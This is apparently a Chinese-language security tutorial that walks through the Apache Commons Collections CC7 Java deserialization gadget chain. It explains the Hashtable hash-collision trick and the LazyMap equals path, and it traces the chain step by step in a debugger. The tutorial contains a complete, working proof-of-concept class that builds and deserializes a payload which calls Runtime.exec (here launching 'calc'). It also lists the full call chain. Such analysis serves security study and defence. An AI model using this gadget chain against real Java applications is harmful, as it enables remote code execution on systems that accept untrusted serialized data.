0x01 前言
CC7和CC6差别不大,从理解的角度更为复杂一些。source从HashSet/HashMap更改为HashTable。jdk无限制、cc要求3.2.2之前或者cc4.0。
0x02 相关知识
HashTable
哈希表(HashTable)又叫做散列表,是根据关键码值(即键值对)而直接访问的数据结构。也就是说,它通过把关键码映射到表中一个位置来访问记录,以加快查找速度。Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放元素(键值对)。其readObject方法存在以下代码,表示从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化
查看reconstitutionPut方法,HashTable中会计算元素key的hash,将被查找的key转化为数组的索引。reconstitutionPut方法会将当前插入的key与已经插入的key进行比较,如果发生冲突则会抛出异常。而我们需要利用hash碰撞执行e.key.equals(key)方法。
LazyMap不存在equals方法,会找到LazyMap的父类AbstractMapDecorator的equals方法
AbstractMapDecorator会调用this.map的equals方法,this.map是LazyMap#decorate方法传入的HashMap,
而HashMap中不存在equals方法,会调用其父类AbstractMap的equals方法
其中m.get(key)会触发利用链,m就是我们传入的LazyMap。
0x03 利用链分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws Exception {
// sink
Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
第一部分跟CC6一样,创建ChainedTransformer触发链式调用
Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
第二部分新建了两个LazyMap对象,并将这两个对象添加到hashtable中,其中remove语句比较难以理解,需要调试分析。
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
在将两个lazyMap放入hashTable中后,lazyMap1和lazyMap2中的key-value如图,lazyMap2增加了一个yy-yy键值对。
我们首先来分析,为什么lazyMap2增加了一个元素,跟进hashtable.put(lazyMap2),首先会计算lazyMap2的哈希,然后根据哈希索引找到该hash对应位置的元素,因为lazyMap1和lazyMap2的hash是相同的,所以会调用entry.key.equals(key),参数key是LazyMap2。
LazyMap不存在equals方法,但其父类AbstractMapDecorator存在equals方法
接着调用HashMap.equals,参数是lazyMap2,但HashMap不存在equals方法,调用其父类AbstractMap的equals方法。
接着m.get(key),m是lazyMap2,调用LazyMap.get方法,其中key是lazyMap1中的key,由于lazyMap2不存在key:”yy”,进入判断体,给lazyMap2添加一个键值对”yy”:”yy”。
那为什么lazyMap1没有增加元素呢?跟进调试,因为entry为null,所以不会进入循环体。
还有一个问题,为什么两个LazyMap的hash会相同呢?跟进函数可知,LazyMap同样不存在hashCode方法,而是其父类AbstractMapDecorator存在。
而该方法会调用HashMap的hashCode方法,然而HashMap同样也没有hashCode方法,得靠它得父类AbstractMap#hashCode。该方法会对每一个元素进行hashCode并求和。
跟进发现每一个i.next实际对象为HashMap$Node,会调用静态内部类Node#hashCode方法。
而HashMap$Node#hashCode中会调用Objects#hashCode方法对key和value得hash进行亦或运算。
接着会调用”yy”.hashCode方法,实际会调用java.lang.String#hashCode方法,该方法会返回String对象得hash值。
而对我们传入的参数1调用hashCode方法,实际会调用java.lang.Integer#hashCode方法,返回Integer对象的hash。Integer哈希就等于其值本身。综上3873异或1为3872。
第三部分则是将transformers通过反射赋给ChainedTransformer的iTransformers属性,完成整个链的构造。
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
利用链:
ObjectInputStream.readObject()
HashTable.readObject()
HashTable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 利用链调试
HashTable#readObject
HashTable#reconstitutionPut
,第一个LazyMap由于e为null,不会发生冲突,直接将该lazyMap1添加到HashTable中,因此不会触发利用链。
看第二个lazyMap的HashTable#reconstitutionPut
,由于hash冲突,会进入LazyMap#quals方法
LazyMap无equals方法,进入其父类AbstractMapDecorator#equals
该方法,会调用map.equals,map对象是我们decorate时传入的HashMap,这里会调用HashMap#equals方法,实际equals方法是继承其父类AbstractMap#equals
接着m.get(key)会触发LazyMap#get方法,传入的参数是LazyMap1的key,即”yy”。如果在利用链不删除lazyMap2的”yy”,就不会触发transform方法。LazyMap#get
ChainedTransformer#transform
0x05 总结
CC7会比CC6绕一些,主要是source入口类为HashTable,其实也可以把CC7的sink更改为TemplatesImpl类,通过TrAXFilter-InstantiateTransformer处理再交给LazyMap包装。由于source的问题,CC7对jdk无限制,对cc限制为3.2.1及其之前,cc4.0。